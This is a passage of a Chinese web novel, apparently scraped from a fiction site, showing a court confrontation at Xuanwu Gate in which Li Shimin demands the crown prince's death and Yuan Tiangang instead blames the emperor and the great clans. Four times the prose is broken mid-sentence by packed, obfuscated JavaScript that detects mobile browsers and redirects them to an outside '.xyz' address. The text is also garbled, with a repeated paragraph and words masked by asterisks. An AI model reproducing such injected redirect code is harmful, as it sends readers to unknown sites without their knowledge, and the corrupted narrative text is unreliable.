他们绞尽脑汁,也想不通太子殿下这句话里的玄机。 就在这令人窒息的对峙中,一个声音突兀地从远处传来,由远及近,清晰地传入了每个人的耳中。 “让开!都给我让开!我有天机要奏报陛下!” 众人循声望去,只见一个身穿星月道袍的身影,正排开挡在前面的禁军,跌跌撞撞地向城楼下跑来。 “李淳风?” 李世民眯起了眼睛,心中疑惑更甚。 “他来做什么?” 长孙无忌的眉头拧成了一个疙瘩。 “不好!” 魏征心中咯噔一下,他了解李淳风,此人从不参与朝政纷争,今日突然出现在这里,必有惊天动地的大事发生。 守卫玄武门的禁军统领李君羡立刻上前,拦住了他。 “李监正,此地乃禁严之所,还请留步!” “滚开!” 李淳风一把推开李君羡,双目赤红,状若疯魔,“耽误了天机,你担待得起吗!” 李君羡被他身上那股迫人的气势所慑,竟一时愣在原地。 就趁着这片刻的迟疑,李淳风已经冲到了城楼之下。 他抬起头,用尽全身的力气,对着城楼上的李世民,发出一声嘶吼。 那声音,沙哑、干涩,却又如同九天之上的神谕,带着不容置疑的威严,重重地砸在每个人的心头。 “陛下!我知道何为香积寺之战!” 玄武门城楼之上,死的寂静。 所有人的目光,都如被磁石吸引的铁屑,死死地钉在城下那个疯癫般的道人身上。 李世民一双鹰目,此刻也缩成了针尖。 他听着李淳风那嘶哑的吼叫,心中的疑云非但没有散去,反而凝聚成了一场即将吞噬理智的风暴。 香积寺之战? 他知道? 他凭什么知道! “让他上来!” 李世民的声音低沉得可怕,是从牙缝里挤出来的。 禁军不敢怠慢,立刻让开一条通路。 李淳风却没听见,他踉跄几步,在城楼下那片空地上站定。 他环顾四周,看着那些冰冷的甲胄和出鞘的刀兵,眼中没有丝毫畏惧,只有一种燃烧的悲悯和疯狂。 他猛地从宽大的袖袍中抽出一卷物事,双手用力一抖! “哗啦——”一声脆响,一幅巨大的画卷应声展开。 那画卷不知是用何种材质制成,竟在阴沉的天色下泛着一层诡异的、浸透了血色的暗黄。 城楼上的文武百官纷纷探头,伸长了脖子,想要看清画上究竟是什么。 可当他们看清的瞬间,寒气,比这初春的冷风更刺骨,从每个人的脚底板直冲天灵盖! 那画上,根本不是什么山水人物,而是一副活生生的人间地狱图! 遍地都是荒芜的焦土,干裂的大地上,数不清的百姓衣不蔽体,面黄肌瘦。 他们的眼神空洞、麻木,如同行尸走肉。 他们不再是人,他们是…… 是牲畜! 他们被绳索捆着,像待宰的猪羊一样被驱赶着。 而驱赶他们的,不是人,是五头狰狞可怖的凶兽! 那五头凶兽,一头生双角,状若恶牛;一头遍体鳞甲,口喷毒雾;一头肋生双翼,利爪如钩;一头人面兽身,獠牙外露;还有一头,通体漆黑,眼冒红光,来自九幽地狱的恶鬼! 它们拖拽着那些被称之为“两脚羊”的大唐子民,张开血盆大口,肆意地啃食着! 鲜血染红了画卷的一角,断肢残骸随处可见。 一个母亲抱着早已没了气息的婴孩,呆呆地跪在地上,下一刻,就被其中一头凶兽的巨爪拍成了肉泥! “呕……” 一名年轻的文官再也忍不住,当场俯身干呕起来。 更多的人则是脸色惨白,双腿发软。 他们何曾见过如此惨烈、如此渎神的景象! 这已经不是战争,这是屠戮,是末日! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253011|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >长孙无忌的瞳孔剧烈收缩,他死死攥着城墙的垛口,指节因用力而泛白。 房玄龄和杜如晦对视一眼,都在对方眼中看到了无法掩饰的惊骇。 他们一生辅佐君王,自问见惯了风浪,可眼前这幅图,已经超出了他们认知的所有范畴。 魏征更是气得浑身发抖,他不是害怕,是愤怒! 滔天的怒火在他胸中燃烧,他的嘴唇哆嗦着,指着画卷,却一个字也说不出来。 李世民的呼吸瞬间停滞了。 他的大脑一片空白。 那画卷上的惨状,如同烧红的烙铁,狠狠地烫在他的眼球上,烫在他的心上! 他的大唐,他引以为傲的盛世,怎么会变成这样? 他的子民,怎么会沦为被畜生啃食的“两脚羊”?! “妖言惑众!” 侯君集第一个尖叫起来,他的声音因为恐惧而变得尖利刺耳,“陛下!此人疯了!他在诅咒我大唐!拖下去!快拖下去砍了!” 然而,没人动。 所有人都被那画卷另一处更诡异的景象吸引了。 就在那人间地狱的不远处,一场激烈的战争正在上演。 两支军队,穿着同样制式的明光铠,手持同样的横刀与长槊,举着同样的大唐军旗,正在疯狂地自相残杀! 刀光剑影,血肉横飞。 一个士兵刚刚砍倒面前的敌人,就被身后的“同袍”一枪捅穿了胸膛。 他的脸上,至死都带着难以置信的表情。 尸体堆积如山,鲜血汇聚成河。 那不是与外敌的厮杀,那是大唐精锐的内耗! 是手足相残! 李淳风伸出一根枯瘦的手指,颤抖地指向那片血腥的战场,他的声音如同泣血的杜鹃,充满了无尽的悲凉。 “陛下!您看!这便是香积寺之战!” “这里面的每一个人,都是我大唐的百战精锐!是您最倚重的府兵!可他们,却在这里,互相将屠刀砍向了自己的兄弟!” “他们不是死在突厥人的弯刀下,不是死在吐谷浑的铁蹄下,而是死在了自己人的手上!大唐的脊梁,就这么一寸一寸地,被自己人亲手打断了啊!” 轰隆! 一道天雷在所有人的脑海中炸响! 满朝文武,有一个算一个,全都呆若木鸡。 香积寺之战…… 原来是这个意思! 不是与外敌的战争,而是…… 内战! 是大唐最精锐的军队,在自相残杀! 这个预言,比刚才那副“五胡食人图”更加让他们胆寒! 李世民的身子猛地一晃,险些站立不稳。 他感觉天旋地转,耳边嗡嗡作响。 他扶着冰冷的墙砖,才勉强支撑住身体。 他的脸色,已经不能用苍白来形容,那是一种死灰般的颜色。 他想开口呵斥,想说这是无稽之谈,可那画卷上熟悉的铠甲样式,那面在大风中猎猎作响的唐字大旗,无一不在告诉他,李淳风说的,是真的! 李淳风的目光扫过城楼上那一张张惊恐骇然的脸,他深吸一口气,投下了最后一枚,也是最重的一枚**。 “香积寺之战,大唐元气大伤,国门洞开!随后……” 他顿了顿,每一个字都用尽了毕生的力气,重重地砸在地上。 “便是五胡乱华!” “五!胡!乱!华!” 第87章 陛下请称太上皇! “五!胡!乱!华!” 这四个字,如四柄无形的巨锤,狠狠地砸在了每一个人的心口! 对于这些饱读史书的文臣武将来说,“五胡乱华”这四个字意味着什么,他们再清楚不过了! 那意味着山河破碎,意味着衣冠南渡,意味着中原陆沉,意味着汉家儿女被异族奴役、屠戮的百年黑暗! 那是刻在整个民族骨血里的,最深沉的恐惧和耻辱! “不……不可能……” 一名老臣双眼一翻,竟直挺挺地昏了过去。 城楼上顿时乱作一团。 惊呼声,尖叫声,难以置信的咆哮声,此起彼伏。 李世民彻底僵住了。 他站在那里,如同一尊被风化的石像,眼中只剩下无尽的空洞和茫然。 他戎马一生,从尸山血海中杀出这个皇位,他开创贞观,励精图治,为的就是洗刷前朝的耻辱,建立一个万国来朝的无上天朝! 他建立钦天监,测天象,卜吉凶,为天下百姓制定农耕节气。 现在李淳风用一幅画,几句话,将他所有的骄傲和努力,击得粉碎! 五胡乱华? 他的大唐,会重蹈司马家的覆辙? 不! 绝不! 城楼之下,李承乾静静地站着,他抬头望着那幅惨烈的画卷,又看了看那个状若疯魔的李淳风,眼神里没有丝毫波澜。 香积寺之战,安史之乱的转折点,郭子仪和李光弼两大名将率领的唐军主力,在此地因内部猜忌和指挥失误而自相残杀,最终惨败,导致长安二次失陷。 而那之后,藩镇割据,国力衰退,最终引来了黄巢之乱,将煌煌大唐彻底拖入了深渊。 李淳风画中的“五胡”,或许指的便是那些拥兵自重的节度使和趁乱而起的各路枭雄。 一切,都对得上。 李承乾的嘴角,勾起一抹无人察觉的冷意。 他看着李淳风,心中暗道:“能窥破天机,绘出**警示后人,这李淳风,果然不是凡人。” 李世民彻底僵住了。 他站在那里,如同一尊被风化的石像,眼中只剩下无尽的空洞和茫然。 他戎马一生,从尸山血海中杀出这个皇位,他开创贞观,励精图治,为的就是洗刷前朝的耻辱,建立一个万国来朝的无上天朝! 他的目光,像一头被逼入绝境的猛兽,疯狂地在城楼上下的每一个人脸上扫过。 扫过那些惊慌失措的文臣,扫过那些脸色煞白的武将,最后,如同一支淬毒的利箭,死死地钉在了城楼之下那个唯一平静的身影上。 李承乾! 他为什么不慌? 他为什么能如此镇定? 在这天下倾覆的预言面前,他凭什么还能站得如此笔直? 因为这一切的源头,就是他! “逆子!” 一声嘶吼,不似人声,是从李世民的胸膛里撕扯出来的,带着血和绝望。 整个玄武门,在这声咆哮下,瞬间死寂。 所有人的目光,都随着那根微微颤抖、指向城下的手指,聚焦在了太子李承乾的身上。 李世民双目赤红,胸膛剧烈起伏,脖颈上的青筋一根根暴起,狰狞可怖。 他指着李承乾,每一个字都用尽了全身的力气在嘶吼。 “你听到没有!你这个逆子!” “就是因为你!是你!” “是你引狼**!是你动摇国本!是你让朕的大唐,让这天下的万千生灵,要堕入那无边地狱!” 风声呼啸,将他的声音传遍了整个玄武门。 城楼之下,李承乾缓缓抬起眼帘,平静地与自己那状若疯魔的父亲对视。 他的脸上没有恐惧,没有辩解,甚至没有一毫的波澜。 这种平静,成了最致命的燃料,让李世民的理智彻底燃烧殆尽。 “你看看你!你还在看!” “你这副嘴脸,是承认了吗?!” “逆子!你还不自刎以谢苍天!” “自刎以谢苍天——!” 最后一句,声嘶力竭,几近破音。 李承乾的死,就是挽救这煌煌大唐的唯一解药。 短暂的死寂之后,是被点燃的整个朝堂。 “陛下说得对!就是他!” 兵部尚书侯君集第一个跳了出来,他脸色惨白,额头全是冷汗,但眼神里却闪烁着病态的亢奋。 他指着李承乾,声音尖利。 “他先是纵容蜀山剑仙兵临城下,威逼君父!又是打压儒门,蛊惑人心!如今,这妖道又弄出如此恶毒的谶言!这一切,都是太子殿下一手策划的!” “请陛下下旨,诛杀此獠!以正国法!以安天命!” 有了人带头,那些本就惊魂未定的官员们,找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253012|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宣泄恐惧的出口,瞬间沸腾了! “没错!就是太子!他狼子野心,早就昭然若揭!” “香积寺之战?那画中将士自相残杀,不正是暗指太子殿下**朝堂,让我大唐内耗吗?” “五胡乱华……天啊!太子在益州招兵买马,豢养私军,那些所谓的‘大雪龙骑’,不就是他霍乱天下的‘胡’吗?!” 一个又一个诛心的罪名,被他们从牙缝里挤出来,狠狠地砸向李承乾。 魏征面色铁青,他向前一步,对着李世民深深一躬,声音沉痛。 “陛下!太子殿下近来所为,确实……确实有违人君之道。废儒兴兵,亲近方外之人,此皆取乱之道啊!今日之祸,虽起于妖道之口,但根源……恐怕不得不察啊!” 他的话,虽然比侯君集等人委婉,却更加致命。 连魏征都这么说,那太子的罪名,几乎是板上钉钉了! 一时间,整个玄武门城楼之上,群情激愤。 所有的文武百官,无论之前属于哪个阵营,此刻都空前地团结在了一起,将所有的恐惧、愤怒和绝望,化作了指向李承乾的利刃。 他们指着他,咒骂他,咆哮着,他就是那个即将毁灭大唐的魔鬼。 他们认为是李承乾今日的倒行逆施,导致了日后生灵涂炭的惨剧! 面对着千夫所指,面对着父亲要他自尽的咆哮,李承乾依旧站在那里。 风吹动他黑色的衣袍,猎猎作响。 他就那样静静地站着,一座亘古不变的山岳,任凭风雨雷电,我自岿然不动。 他的目光,越过了那些扭曲、狰狞的面孔,越过了他父亲那双燃烧着怒火与失望的眼睛,投向了更远的天际。 那里,风云变幻,一如这大唐的国运。 他的沉默,在众人眼中,是最高傲的挑衅,是最大声的嘲讽。 “你……你……” 李世民气得浑身发抖,指着李承乾的手指几乎要戳到自己的眼睛里。 他感觉自己的胸口要炸开,腥甜涌上喉头。 这个逆子! 他竟然连一句辩解都没有! 他竟然默认了! 他默认了自己就是那个要将大唐推入深渊的罪人! 此时,李承乾转头看向李淳风:“你说,这霍乱天下的根源是谁!” 霍乱天下的是太上皇! 还是朕! 第88章 玄武门的血,可还没干透呢! 长安城,玄武门上。 满朝文武,成百上千双眼睛,在这一瞬间,齐刷刷地从李承乾身上移开,像被一只无形的手拨动,尽数钉在了太史令李淳风的身上。 玄武门城楼上的风,都停滞了。 方才还沸反盈天的声浪,此刻死寂一片,只剩下猎猎作响的旗帜和众人粗重的呼吸声。 李淳风的官袍本就宽大,此刻在风中却紧紧贴着他微微发抖的身体,勾勒出他僵硬的轮廓。 他的脸刷地一下白了,比墙上的石灰还要惨淡,额角的冷汗一颗颗滚落,洇湿了鬓角。 他成了风暴的中心。 李世民的目光更是如同一柄烧红的烙铁,狠狠烫在他的身上。 那双曾经蕴含着无上威严与雄才伟略的龙目,此刻只剩下血丝与疯狂。 “李淳风!” 李世民的声音嘶哑,像一头被逼入绝境的困兽,每一个字都带着血腥味,“你告诉朕,也告诉这个逆子!霍乱天下的根源,到底是谁!” 他不是在问,他是在下令。 他要李淳风用天命,为他亲手弑子,献上一份最冠冕堂皇的祭文。 李淳风嘴唇哆嗦着,喉结上下滚动,却一个字也吐不出来。 说? 怎么说? 说太子就是根源? 他李淳风不过区区太史令,今日敢金口玉言定下储君的生死,明日,无论太子是死是活,他李淳风都活不成! 说太子不是根源? 那便是当着满朝文武的面,公然违抗暴怒中的君王! 玄武门的血,可还没干透呢! 他感觉自己就像是被架在火上烤,每一寸肌肤,每一根骨头,都在发出痛苦的呻吟。 就在这千钧一发之际,李淳风的眼角余光瞥见了虚空之中那道孤高的身影。 他像是溺水之人抓住了最后一根救命稻草,眼中猛地爆出求生的光亮。 他颤巍巍地抬起手,指向了那片风云变幻的天空,声音因为极度的恐惧和紧张而变得尖锐:“陛……陛下……臣……臣不敢妄言天机……此事……此事,陛下还是请问国师吧!” 国师! 袁天罡! 这两个字仿佛带着某种魔力,瞬间将所有人的注意力从李淳风身上再次抽离。 “刷——”玄武门城楼上,从皇帝到百官,所有人的头颅,都像被牵引的木偶,缓缓抬起,望向了那片更为广阔、更为凶险的战场。 长安城外,虚空之上。 蜀山的三千剑仙,剑气纵横,凝结成一座浩瀚无垠的剑阵,寒光凛冽,杀意弥漫,如同一座悬于大唐国都之上的冰山,随时可能崩塌,带来灭顶之灾。 而在那座恐怖剑阵的正前方,只有一道身影。 一道穿着星月道袍的孤绝身影。 袁天罡! 他就那样静静地悬浮在空中,宽大的袍袖在罡风中鼓荡,袍上的日月星辰仿佛在缓缓流转。 他一个人,就如同一道不可逾越的天堑,挡住了那足以覆灭一国的滔天剑势。 他没有看城楼上的君臣父子,没有看脚下惊惶的芸芸众生。 他的目光,始终平视着前方,与那三千剑仙,与那整个蜀山,进行着一场无声的对峙。 所有人都屏住了呼吸。 城楼上的权谋争斗,父子相残,在这一刻,仿佛都变得渺小起来。 与那天地间的对峙相比,他们不过是尘埃。 李世民仰着头,脖颈上的青筋暴起,他张开嘴,用尽了全身的力气,朝着天空中的袁天罡发出了震天的咆哮。 那声音里充满了帝王的威严、父亲的绝望,以及一个男人最后的疯狂! “国师——!” “你告诉他们!告诉天下人!” “这个逆子,就是霍乱天下的根源!他,人人得而诛之!” 李世民那夹杂着疯狂与绝望的咆哮,如惊雷般在玄武门上空炸开,回音在城墙与箭楼之间冲撞,久久不散。 杀气,混杂着血腥味,愈发浓重。 所有人的目光,都被那道悬于虚空的孤绝身影所攫取。 袁天罡,这位大唐的国师,此刻仿佛成了天地的中心,成了决定太子李承乾生死的唯一裁决者。 然而,李承乾依旧立在那里,面无表情。 他甚至没有抬头去看袁天罡,仿佛那足以倾覆天下的对峙,与他无关。 他的目光,只是淡淡地扫过身前那群噤若寒蝉的文武百官,最后落在了他那状若疯魔的父皇身上。 就在这时,一阵凄厉的,不似人声的哀嚎,猛地刺破了这死寂的对峙。 “陛下啊——!” 人群中,一个身影踉跄着冲了出来,是陇西李氏的家主,李泰煦。 他发髻散乱,官袍歪斜,一张老脸皱成了苦瓜,浑浊的老泪如同开了闸的洪水,瞬间布满了沟壑纵横的脸颊。 “噗通”一声,他重重地跪倒在地,膝盖与冰冷的城砖撞击,发出一声闷响。 他没有去看皇帝,也没有去看任何人,只是用尽全身力气,伸出一根枯柴手指,死死地指向李承乾。 那根手指,因为极致的仇恨而剧烈地颤抖着。 “陛下!您还在问什么天意啊!” 李泰煦的声音嘶哑,如同夜枭啼血,“天意!天意就在眼前啊!” 他猛地用头颅撞向地面,发出“咚”的一声巨响,额头瞬间见血。 “老臣全族上下,三百余口!被这孽障屠戮殆尽!血流成河!” 他的哭诉,字字泣血,每一个音节都充满了无尽的怨毒。 “他不是什么太子!他就是从地狱里爬出来的恶鬼!是来霍乱我大唐的灾星!!” “臣都能听到我那孩儿们的冤魂在哭嚎!他们问我,为何这等灭绝人性的恶魔,还能高坐于庙堂之上!还能被尊为储君!” 李泰煦抬起那张血泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253013|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交织的脸,眼神里的恨意仿佛要化作实质的火焰,将李承乾焚烧殆尽。 “此等灾星,天理不容!国法不容啊!” 他声嘶力竭地咆哮,每一个字都像是一把淬毒的尖刀,狠狠地扎向李承乾。 “他,人人得而诛之!” 李承乾笑了,他就喜欢李泰煦的悲壮,愤怒。 如果他不愤怒的话,那族谱不就是白清洗了。 这一声,如同吹响了进攻的号角。 “哗啦啦——”李泰煦身后,以五姓七望为首的官员们,如同被激起的潮水,齐刷刷地走出队列,跪倒了一大片。 清河崔氏的家主,范阳卢氏的长老,太原王氏的代表…… 这些在朝堂上举足轻重的人物,此刻都像商量好了一样,俯首在地。 “请陛下,诛杀此獠,以正国法!” “请陛下,为天下苍生计,铲除此等祸根!” “此子不除,大唐危矣!社稷危矣!” 一声声,一句句,汇成了巨大的声浪,在玄武门城楼上反复冲击。 他们将一场皇室内部的夺嫡之争,硬生生地上升到了关乎国运存亡的高度。 他们,要用这所谓的“天下**”,逼死太子! 李世民冷眼看着这一切。 他看着跪在地上,哭得肝肠寸断的李泰煦。 他看着那一大片乌泱泱跪倒的世家官员。 他看到了他们眼中那毫不掩饰的,对李承乾的杀意。 很好。 这正是他想要的结果。 他的目光缓缓越过这些人的头顶,投向了玄武门之外。 城门之下,十万长安守卫军甲胄鲜明,长戟如林,森然的杀气直冲云霄。 大军之前,苏定方一身戎装,按剑而立,如同一尊沉默的杀神。 只要他一声令下,这十万大军便会化作吞噬一切的钢铁洪流。 胜券在握。 李世民心中那头被逼入绝境的困兽,此刻终于平静下来。 疯狂与绝望褪去,取而代之的是冰冷到极致的掌控感。 他感觉自己的每一个毛孔都舒展开来。 他再次缓缓抬起头,那张布满青筋的脸,此刻竟然露出了诡异的,近乎扭曲的笑容。 他的目光,再一次锁定了虚空之上的那道身影。 这一次,他的声音不再是咆哮,而是带着绝对自信的,居高临下的命令。 “国师。” 他慢条斯理地开口,仿佛在陈述一个既定的事实。 “你看,这便是人心所向。” “现在,你告诉朕。” 李世民的嘴角咧开,露出白森森的牙齿,每一个字都像是从牙缝里挤出来的。 “这逆子,是不是……霍乱我大唐的根源啊!” 袁天罡转头看向李世民和五姓七望的官员。 星月袍抖擞。 他终于开口了! 第89章 妖言惑众,构陷君上,离间朝臣!其心可诛! 虚空之上,那道身影终于动了。 袁天罡缓缓回首,目光平静得像一潭万年古井,不起丝毫波澜。 他俯瞰着玄武门城楼上那一张张或狰狞、或得意、或悲愤的脸,仿佛在看一群跳梁小丑。 他开口了,声音不大,却像九天之上的神谕,清晰地贯入每个人的耳中,震得他们灵魂发颤。 “霍乱大唐根源者,非太子殿下。” 一句话,让李世民嘴角的狞笑僵住。 袁天罡的目光,淡漠地扫过李世民,最终落在那片跪倒的世家官员身上。 “其一,在陛下。” 轰! 如同晴天霹雳,在李世民的脑海中炸响。 他脸上的肌肉疯狂抽搐,那双充血的眼睛死死瞪着袁天罡,仿佛要将他凌迟。 袁天罡视若无睹,继续用那不带任何感情的语调陈述着。 “昔年玄武门,陛下弑兄囚父,手足相残,人伦尽丧。此为祸根之始,为大唐天下,埋下了子效父行之隐患。” 每一个字,都像一把烧红的烙铁,狠狠地烫在李世民的旧伤疤上! 玄武门! 又是玄武门! 他站在这里,脚下的每一块砖石,都曾被他兄弟的鲜血浸泡过! 这是他一生最大的功绩,也是他永恒的梦魇! 此刻,竟被袁天罡当着满朝文武,十万大军的面,赤裸裸地揭开! “你……放肆!” 李世民的牙齿咬得咯咯作响,声音是从喉咙深处挤出来的。 跪在地上的李泰煦和五姓七望的官员们,全都懵了。 他们本来等着袁天罡给李承乾定下死罪,怎么…… 怎么这把火烧到皇帝身上去了? 可袁天罡的话,还没完。 他的目光转向了李泰煦那群人。 “其二,在于尔等。” “所谓生灵涂炭,乃是各大节度使与五姓七望为一己之私,争权夺利,掀起的血战。尔等视百姓为刍狗,视江山为棋盘,却将罪责,尽数推给一个远在益州的太子?” 袁天罡的声音里,终于带上了一丝讥讽。 “滑天下之大稽!” 话音落下。 玄武门上,死寂。 针落可闻。 风声都仿佛被这番石破天惊的言论给吓得停滞了。 所有人都像是被施了定身咒,保持着前一刻的姿态,动弹不得。 李泰煦那张老泪纵横的脸,此刻扭曲得不成样子,一半是惊愕,一半是羞愤。 他张着嘴,却一个字都吐不出来,仿佛被人扼住了喉咙。 清河崔氏、范阳卢氏的家主们,脸上的血色“唰”地一下褪得干干净净,变成了**般的惨白。 他们面面相觑,眼神里充满了无法置信和极度的恐慌。 剧本不是这么写的! 他们耗费心机,联合朝堂,逼宫皇帝,将李承乾推向绝路,眼看就要成功,这袁天罡…… 他怎么敢?! 他怎么敢说出这个所有人都知道,却没有任何人敢提的“真相”?! 颠倒黑白,指鹿为马,本是他们这些世家门阀玩烂了的把戏。 他们可以把一场赤裸裸的**倾轧,包装成“为民**”;把对太子的构陷,粉饰成“匡扶社稷”。 可现在,袁天罡三言两语,就将他们伪善的面具撕得粉碎,把他们肮脏的内里,血淋淋地暴露在光天化日之下! 这一刻,他们不再是为民**的忠臣,而成了祸乱天下的罪人! 最先反应过来的,是李世民。 那张扭曲的脸,此刻已经化为暴怒的铁青。 “妖道!” 他嘶吼着,指着虚空中的袁天罡,全身都在发抖。 “妖言惑众,构陷君上,离间朝臣!其心可诛!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253014|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他身后的房玄龄和杜如晦,此刻脸色凝重到了极点。 他们飞快地交换了一个眼神,都从对方眼中看到了深深的忧虑。 事情,彻底失控了。 而魏征,那张古板的脸上,肌肉紧绷,他低垂着眼帘,没人看得清他此刻的神情,但那微微颤抖的胡须,暴露了他内心的极不平静。 “陛下!” 一声凄厉的尖叫划破了死寂。 李泰煦猛地从地上窜起来,状若疯虎,指着袁天罡破口大骂:“你这妖道!定是收了那逆子的好处!竟敢在此胡言乱语,污蔑陛下,构陷我等忠良!” “没错!他与那逆子是一伙的!” “请陛下立刻诛杀此妖道,以正视听!” 五姓七望的官员们也如梦初醒,纷纷跳了起来,一个个义愤填膺,仿佛受了天大的委屈。 他们将所有的恐惧和愤怒,都化作了最恶毒的攻击,射向那个飘立于虚空中的身影。 一瞬间,袁天罡仗义执言,却成为了万夫所指! 城楼之上,杀气腾腾。 那股原本指向李承乾的凛冽杀意,此刻调转了方向,尽数汇聚到了袁天罡身上。 然而,无论他们如何咆哮,如何怒骂,袁天罡的神情,依旧没有半分变化。 他只是静静地看着这群气急败坏的人,眼神里带着一丝悲悯,仿佛在看一群在末日中狂舞的蝼蚁。 他的沉默,比任何言语都更具力量,让那些叫嚣的官员们,声音渐渐小了下去。 因为他们发现,他们的怒火,根本无法触及那个超然物外的存在。 李承乾始终站在那里,如同一座沉默的雕像。 从始至终,他没有说过一个字,甚至连表情都没有太大的变化。 只是在袁天罡说出“弑兄囚父”那四个字时,他那一直低垂的眼帘,微微抬起了一分,杀机,在他的瞳孔深处一闪而逝。 第90章 无情最是帝王 就在这死一寂静中,一个突兀的、癫狂的笑声,毫无征兆地炸裂开来。 “哈哈……哈哈哈哈哈哈!” 这笑声并非来自城下任何一个角落,而是源于那风暴的中心,那个一直沉默的太子,李承乾! 他猛地抬起头,那张英俊却始终被阴郁笼罩的脸庞,此刻彻底舒展开来。 他仰着天,放声大笑,笑声里充满了无尽的嘲弄与轻蔑,听到了世间最滑稽的笑话。 笑声穿透了城楼上下的肃杀,回荡在玄武门冰冷的城砖之间,震得每个人耳膜嗡嗡作响。 所有人的目光,无论是暴怒的李世民,状若疯虎的李泰煦,还是那些色厉内荏的世家官员,都死死地盯向了李承乾。 他疯了? 在这个时候,他怎么还笑得出来?! 李承乾笑得前俯后仰,笑得眼角都渗出了泪水。 他缓缓止住笑,那双深邃的眼眸里,却再无半分温情,只剩下刺骨的冰寒和高高在上的怜悯。 他的目光,越过了所有人,径直落在了虚空之中,那个孑然而立的身影上。 “袁天罡,” 他的声音不大,却清晰地传入了每个人的耳中,带着戏谑的、教导口吻,“看到没有?” 袁天罡依旧面无表情,只是那双古井无波的眼眸,微微动了一下。 李承乾伸出一根手指,懒洋洋地划过面前那一张张惊愕、愤怒、恐慌的脸。 “看见了吗?这就叫忘恩负义!这就叫过河拆桥!” 他的语气陡然变得尖锐,抽在那些世家官员的脸上。 “看看他们!看看这些五姓七望的忠臣良将!看看他们这张牙舞爪的嘴脸!” “刚才,是谁哭天抢地,求神拜佛,恨不得蜀山剑仙立刻降临,将我**万段?是他们!” “现在,又是谁指着你的鼻子,骂你是妖道,恨不得食汝肉、寝汝皮?还是他们!” 李承乾向前踏出一步,那股储蓄已久的磅礴气势轰然爆发,英姿勃发。 他的声音,轰然炸响。 “你袁天罡,自诩洞察天机,心怀天下!可你现在挡在蜀山剑仙的面前,有什么意义!” “你以为你是在拯救苍生?你是在阻止一场浩劫?” “哈哈哈哈!你错了!” 李承乾再次大笑起来,笑声中充满了悲凉与荒谬。 “你救的,不是天下苍生!你救的,是这群刚刚还在诅咒你的无耻小人!你挡住的,是他们求之不得的屠刀!” “你护住的,是这个虚伪、肮脏、早已烂到根子里的朝堂!你有什么意义!” 最后一句质问,狠狠砸在了所有人的心头。 尤其是李世民。 李承乾的话,劈开了他被暴怒和**蒙蔽的心智。 是啊…… 意义? 袁天罡现在在做什么? 他挡住了蜀山剑仙! 李世民的瞳孔骤然收缩,那股烧灼理智的怒火瞬间被冰冷的现实浇熄了一大半。 他下意识地抬头,越过袁天罡的身影,望向了那悬于长安城上空的,由万柄飞剑组成的恐怖剑阵。 那剑阵依旧在缓缓旋转,森然的剑气如同实质,压得人喘不过气来。 如果没有袁天罡…… 李世民的后背瞬间被冷汗浸透。 如果没有这个“妖道”突然出现,挡在了玄武门之前,那蜀山剑仙的剑,恐怕已经落下来了! 目标不是李承乾,而是他! 是这玄武门! 是这整个皇城! 这一刻,李世民终于清醒地意识到,袁天罡的存在,竟成了他的一道护身符! 一道他自己根本无法掌控,却又实实在在保护着他的护身符! 然而,李世民能想明白的道理,那些被愤怒和恐惧冲昏了头脑的五姓七望官员们,却完全无法接受。 他们可以不在乎蜀山,可以不在乎生死,但他们绝不能容忍袁天罡泼在他们身上的脏水! “妖言惑众!” 李泰煦气得浑身发抖,指着李承乾,又指着袁天罡,破口大骂:“陛下!您听听!您听听这逆子说的是什么话!他与这妖道分明就是一伙的!” “生灵涂炭?我等世家,世代忠良,辅佐大唐,何曾想过要让天下生灵涂炭!” 一个崔氏的官员跳出来,脸红脖子粗地吼道,“分明是你李承乾狼子野心,勾结蜀山妖人,意图谋反!如今罪行败露,便想将这滔天大罪,扣在我等的头上?简直是痴心妄想!” “没错!我等只是想匡扶社稷,清除奸佞!何罪之有!” “罪在蜀山!罪在太子!与我等何干!” 他们疯狂地咆哮着,试图用更大的声音,掩盖自己内心的恐慌,洗刷袁天罡那句“罪人”的定论。 他们绝不允许自己被钉在历史的耻辱柱上。 